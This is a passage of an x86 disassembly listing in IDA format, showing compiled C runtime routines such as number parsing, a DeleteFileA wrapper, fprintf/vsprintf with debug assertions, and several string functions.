align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDF0 proc near ; CODE XREF: .nsp0:0041BDE1p ; sub_41C130+11p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41BE14: ; CODE XREF: sub_41BDF0+77j cmp dword_4516A8, 1 jle short loc_41BE36 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_421E50 add esp, 8 mov [ebp+var_18], eax jmp short loc_41BE50 ; --------------------------------------------------------------------------- loc_41BE36: ; CODE XREF: sub_41BDF0+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_41BE50: ; CODE XREF: sub_41BDF0+44j cmp [ebp+var_18], 0 jz short loc_41BE69 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41BE14 ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BDF0+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_41BE8D mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BDF0+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_41BEA7 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41BEA7: ; CODE XREF: sub_41BDF0+9Bj ; sub_41BDF0+A4j cmp [ebp+arg_8], 0 jl short loc_41BEB9 cmp [ebp+arg_8], 1 jz short loc_41BEB9 cmp [ebp+arg_8], 24h jle short loc_41BECE loc_41BEB9: ; CODE XREF: sub_41BDF0+BBj ; sub_41BDF0+C1j cmp [ebp+arg_4], 0 jz short loc_41BEC7 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_41BEC7: ; CODE XREF: sub_41BDF0+CDj xor eax, eax jmp loc_41C11D ; --------------------------------------------------------------------------- loc_41BECE: ; CODE XREF: sub_41BDF0+C7j cmp [ebp+arg_8], 0 jnz short loc_41BF0C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_41BEE6 mov [ebp+arg_8], 0Ah jmp short loc_41BF0C ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BDF0+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_41BEFC mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_41BF05 loc_41BEFC: ; CODE XREF: sub_41BDF0+FFj mov [ebp+arg_8], 10h jmp short loc_41BF0C ; --------------------------------------------------------------------------- loc_41BF05: ; CODE XREF: sub_41BDF0+10Aj mov [ebp+arg_8], 8 loc_41BF0C: ; CODE XREF: sub_41BDF0+E2j ; sub_41BDF0+F4j ... cmp [ebp+arg_8], 10h jnz short loc_41BF4B movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_41BF4B mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_41BF31 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_41BF4B loc_41BF31: ; CODE XREF: sub_41BDF0+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41BF4B: ; CODE XREF: sub_41BDF0+120j ; sub_41BDF0+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_41BF56: ; CODE XREF: sub_41BDF0+26Bj cmp dword_4516A8, 1 jle short loc_41BF77 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_421E50 add esp, 8 mov [ebp+var_1C], eax jmp short loc_41BF92 ; --------------------------------------------------------------------------- loc_41BF77: ; CODE XREF: sub_41BDF0+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_41BF92: ; CODE XREF: sub_41BDF0+185j cmp [ebp+var_1C], 0 jz short loc_41BFA4 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_41C003 ; --------------------------------------------------------------------------- loc_41BFA4: ; CODE XREF: sub_41BDF0+1A6j cmp dword_4516A8, 1 jle short loc_41BFC9 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_421E50 add esp, 8 mov [ebp+var_20], eax jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41BFC9: ; CODE XREF: sub_41BDF0+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_41BFE6: ; CODE XREF: sub_41BDF0+1D7j cmp [ebp+var_20], 0 jz short loc_41C001 movsx eax, byte ptr [ebp+var_8] push eax call sub_4248D0 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_41C003 ; --------------------------------------------------------------------------- loc_41C001: ; CODE XREF: sub_41BDF0+1FAj jmp short loc_41C060 ; --------------------------------------------------------------------------- loc_41C003: ; CODE XREF: sub_41BDF0+1B2j ; sub_41BDF0+20Fj mov ecx, [ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_41C00D jmp short loc_41C060 ; --------------------------------------------------------------------------- loc_41C00D: ; CODE XREF: sub_41BDF0+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_41C033 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_41C042 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_41C042 loc_41C033: ; CODE XREF: sub_41BDF0+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_41C04A ; --------------------------------------------------------------------------- loc_41C042: ; CODE XREF: sub_41BDF0+234j ; sub_41BDF0+241j mov eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_41C04A: ; CODE XREF: sub_41BDF0+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_41BF56 ; --------------------------------------------------------------------------- loc_41C060: ; CODE XREF: sub_41BDF0:loc_41C001j ; sub_41BDF0+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_41C088 cmp [ebp+arg_4], 0 jz short loc_41C07F mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C07F: ; CODE XREF: sub_41BDF0+287j mov [ebp+var_C], 0 jmp short loc_41C0FA ; --------------------------------------------------------------------------- loc_41C088: ; CODE XREF: sub_41BDF0+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_41C0C2 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_41C0FA mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41C0AF cmp [ebp+var_C], 80000000h ja short loc_41C0C2 loc_41C0AF: ; CODE XREF: sub_41BDF0+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_41C0FA cmp [ebp+var_C], 7FFFFFFFh jbe short loc_41C0FA loc_41C0C2: ; CODE XREF: sub_41BDF0+2A0j ; sub_41BDF0+2BDj call sub_4248A0 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_41C0E0 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_41C0FA ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: sub_41BDF0+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41C0F3 mov [ebp+var_C], 80000000h jmp short loc_41C0FA ; --------------------------------------------------------------------------- loc_41C0F3: ; CODE XREF: sub_41BDF0+2F8j mov [ebp+var_C], 7FFFFFFFh loc_41C0FA: ; CODE XREF: sub_41BDF0+296j ; sub_41BDF0+2AAj ... cmp [ebp+arg_4], 0 jz short loc_41C108 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_41C108: ; CODE XREF: sub_41BDF0+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41C11A mov ecx, [ebp+var_C] neg ecx mov [ebp+var_C], ecx loc_41C11A: ; CODE XREF: sub_41BDF0+320j mov eax, [ebp+var_C] loc_41C11D: ; CODE XREF: sub_41BDF0+D9j mov esp, ebp pop ebp retn sub_41BDF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C130 proc near ; CODE XREF: sub_401CC1+5988p ; sub_401CC1+60ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41BDF0 add esp, 10h pop ebp retn sub_41C130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C150 proc near ; CODE XREF: sub_401CC1+514Ep ; .nsp0:0041C1A7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call dword_4F133C ; DeleteFileA test eax, eax jnz short loc_41C16D call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_41C174 ; --------------------------------------------------------------------------- loc_41C16D: ; CODE XREF: sub_41C150+10j mov [ebp+var_4], 0 loc_41C174: ; CODE XREF: sub_41C150+1Bj cmp [ebp+var_4], 0 jz short loc_41C18B mov ecx, [ebp+var_4] push ecx call sub_424800 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41C18D ; --------------------------------------------------------------------------- loc_41C18B: ; CODE XREF: sub_41C150+28j xor eax, eax loc_41C18D: ; CODE XREF: sub_41C150+39j mov esp, ebp pop ebp retn sub_41C150 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_41C150 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1C0 proc near ; CODE XREF: sub_401CC1+50A5p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_41C1CF: ; CODE XREF: sub_41C1C0+37j cmp [ebp+arg_0], 0 jnz short loc_41C1F3 push offset dword_437514 push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41C1F3 int 3 ; Trap to Debugger loc_41C1F3: ; CODE XREF: sub_41C1C0+13j ; sub_41C1C0+30j xor ecx, ecx test ecx, ecx jnz short loc_41C1CF loc_41C1F9: ; CODE XREF: sub_41C1C0+61j cmp [ebp+arg_4], 0 jnz short loc_41C21D push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41C21D int 3 ; Trap to Debugger loc_41C21D: ; CODE XREF: sub_41C1C0+3Dj ; sub_41C1C0+5Aj xor edx, edx test edx, edx jnz short loc_41C1F9 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41ECE0 add esp, 4 mov edx, [ebp+var_4] push edx call sub_424AA0 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_422D70 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_424C00 add esp, 8 mov edx, [ebp+var_4] push edx call sub_41ED50 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41C1C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C290 proc near ; CODE XREF: sub_401CC1+19B4p ; sub_401CC1+19D3p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C2B1 xor eax, eax jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2B1: ; CODE XREF: sub_41C290+1Bj mov eax, edi loc_41C2B3: ; CODE XREF: sub_41C290+1Fj cld pop edi leave retn sub_41C290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2C0 proc near ; CODE XREF: sub_401CC1+7D4p ; .nsp0:00428A26p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C2F1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C2EF jz short loc_41C2F1 dec ecx dec ecx loc_41C2EF: ; CODE XREF: sub_41C2C0+29j not ecx loc_41C2F1: ; CODE XREF: sub_41C2C0+9j ; sub_41C2C0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C2C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C300 proc near ; CODE XREF: sub_401CC1+423p ; sub_401CC1+2A6Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C371 sub_41C300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C310 proc near ; CODE XREF: sub_401CC1+42Cp ; sub_401CC1+6A40p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C32C loc_41C31D: ; CODE XREF: sub_41C310+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C35F test ecx, 3 jnz short loc_41C31D loc_41C32C: ; CODE XREF: sub_41C310+Bj ; sub_41C310+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C32C mov eax, [ecx-4] test al, al jz short loc_41C36E test ah, ah jz short loc_41C369 test eax, 0FF0000h jz short loc_41C364 test eax, 0FF000000h jz short loc_41C35F jmp short loc_41C32C ; --------------------------------------------------------------------------- loc_41C35F: ; CODE XREF: sub_41C310+12j ; sub_41C310+4Bj lea edi, [ecx-1] jmp short loc_41C371 ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+44j lea edi, [ecx-2] jmp short loc_41C371 ; --------------------------------------------------------------------------- loc_41C369: ; CODE XREF: sub_41C310+3Dj lea edi, [ecx-3] jmp short loc_41C371 ; --------------------------------------------------------------------------- loc_41C36E: ; CODE XREF: sub_41C310+39j lea edi, [ecx-4] loc_41C371: ; CODE XREF: sub_41C300+5j ; sub_41C310+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C396 loc_41C37D: ; CODE XREF: sub_41C310+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C3E8 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C37D jmp short loc_41C396 ; --------------------------------------------------------------------------- loc_41C391: ; CODE XREF: sub_41C310+9Ej ; sub_41C310+B8j mov [edi], edx add edi, 4 loc_41C396: ; CODE XREF: sub_41C310+6Bj ; sub_41C310+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C391 test dl, dl jz short loc_41C3E8 test dh, dh jz short loc_41C3DF test edx, 0FF0000h jz short loc_41C3D2 test edx, 0FF000000h jz short loc_41C3CA jmp short loc_41C391 ; --------------------------------------------------------------------------- loc_41C3CA: ; CODE XREF: sub_41C310+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C3D2: ; CODE XREF: sub_41C310+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C3DF: ; CODE XREF: sub_41C310+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C3E8: ; CODE XREF: sub_41C310+72j ; sub_41C310+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C310 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C400 loc_41C3F0: ; CODE XREF: sub_41C400+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C400 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C400 proc near ; CODE XREF: sub_401CC1+408p ; sub_401CC1+4B7p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C3F0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C406: ; CODE XREF: sub_41B890+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C42B loc_41C418: ; CODE XREF: sub_41C400+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C3F0 test cl, cl jz short loc_41C474 test edx, 3 jnz short loc_41C418 loc_41C42B: ; CODE XREF: sub_41C400+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C436: ; CODE XREF: sub_41C400+61j ; sub_41C400+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C478 and eax, 81010100h jz short loc_41C436 and eax, 1010100h jnz short loc_41C472 and esi, 80000000h jnz short loc_41C436 loc_41C472: ; CODE XREF: sub_41C400+68j ; sub_41C400+81j ... pop esi pop edi loc_41C474: ; CODE XREF: sub_41C400+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C400+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C4B5 test al, al jz short loc_41C472 cmp ah, bl jz short loc_41C4AE test ah, ah jz short loc_41C472 shr eax, 10h cmp al, bl jz short loc_41C4A7 test al, al jz short loc_41C472 cmp ah, bl jz short loc_41C4A0 test ah, ah jz short loc_41C472 jmp short loc_41C436 ; --------------------------------------------------------------------------- loc_41C4A0: ; CODE XREF: sub_41C400+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C4A7: ; CODE XREF: sub_41C400+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C4AE: ; CODE XREF: sub_41C400+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C4B5: ; CODE XREF: sub_41C400+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C4C0 proc near ; CODE XREF: sub_401CC1+1A5p ; sub_401CC1+1FCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C50C loc_41C4D0: ; CODE XREF: sub_41C4C0+3Cj ; sub_41C4C0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C504 or al, al jz short loc_41C500 cmp ah, [ecx+1] jnz short loc_41C504 or ah, ah jz short loc_41C500 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C504 or al, al jz short loc_41C500 cmp ah, [ecx+3] jnz short loc_41C504 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C4D0 mov edi, edi loc_41C500: ; CODE XREF: sub_41C4C0+18j ; sub_41C4C0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C504: ; CODE XREF: sub_41C4C0+14j ; sub_41C4C0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C50C: ; CODE XREF: sub_41C4C0+Ej test edx, 1 jz short loc_41C528 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C504 inc ecx or al, al jz short loc_41C500 test edx, 2 jz short loc_41C4D0 loc_41C528: ; CODE XREF: sub_41C4C0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C504 or al, al jz short loc_41C500 cmp ah, [ecx+1] jnz short loc_41C504 or ah, ah jz short loc_41C500 add ecx, 2 jmp short loc_41C4D0 sub_41C4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C550 proc near ; CODE XREF: sub_401CC1+B4p ; sub_401CC1+D1p ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_423CF0 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_41C576 ; --------------------------------------------------------------------------- loc_41C56D: ; CODE XREF: sub_41C550+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41C576: ; CODE XREF: sub_41C550+1Bj cmp [ebp+var_C], 20h jge short loc_41C586 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_41C56D ; --------------------------------------------------------------------------- loc_41C586: ; CODE XREF: sub_41C550+2Aj ; sub_41C550+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_41C586 cmp [ebp+arg_0], 0 jz short loc_41C5D9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_41C5E2 ; --------------------------------------------------------------------------- loc_41C5D9: ; CODE XREF: sub_41C550+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_41C5E2: ; CODE XREF: sub_41C550+87j ; sub_41C550+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_41C621 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41C621 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_41C5E2 ; --------------------------------------------------------------------------- loc_41C621: ; CODE XREF: sub_41C550+B9j ; sub_41C550+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_41C632 ; --------------------------------------------------------------------------- loc_41C629: ; CODE XREF: sub_41C550:loc_41C677j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41C632: ; CODE XREF: sub_41C550+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_41C679 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_41C677 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41C679 ; --------------------------------------------------------------------------- loc_41C677: ; CODE XREF: sub_41C550+114j jmp short loc_41C629 ; --------------------------------------------------------------------------- loc_41C679: ; CODE XREF: sub_41C550+EBj ; sub_41C550+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_41C68E xor eax, eax jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C68E: ; CODE XREF: sub_41C550+138j mov eax, [ebp+arg_0] loc_41C691: ; CODE XREF: sub_41C550+13Cj mov esp, ebp pop ebp retn sub_41C550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C6A0 proc near ; CODE XREF: sub_408E73+1Cp ; sub_4145FE+19p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_41C6AF: ; CODE XREF: sub_41C6A0+37j cmp [ebp+arg_0], 0 jnz short loc_41C6D3 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41C6D3 int 3 ; Trap to Debugger loc_41C6D3: ; CODE XREF: sub_41C6A0+13j ; sub_41C6A0+30j xor ecx, ecx test ecx, ecx jnz short loc_41C6AF loc_41C6D9: ; CODE XREF: sub_41C6A0+61j cmp [ebp+arg_8], 0 jnz short loc_41C6FD push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41C6FD int 3 ; Trap to Debugger loc_41C6FD: ; CODE XREF: sub_41C6A0+3Dj ; sub_41C6A0+5Aj xor edx, edx test edx, edx jnz short loc_41C6D9 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_422D70 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_41C778 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_41C789 ; --------------------------------------------------------------------------- loc_41C778: ; CODE XREF: sub_41C6A0+B4j mov edx, [ebp+var_24] push edx push 0 call sub_422AF0 add esp, 8 mov [ebp+var_2C], eax loc_41C789: ; CODE XREF: sub_41C6A0+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41C6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C7A0 proc near ; CODE XREF: sub_40A44E+8Dp ; sub_40AD51+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C854 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short 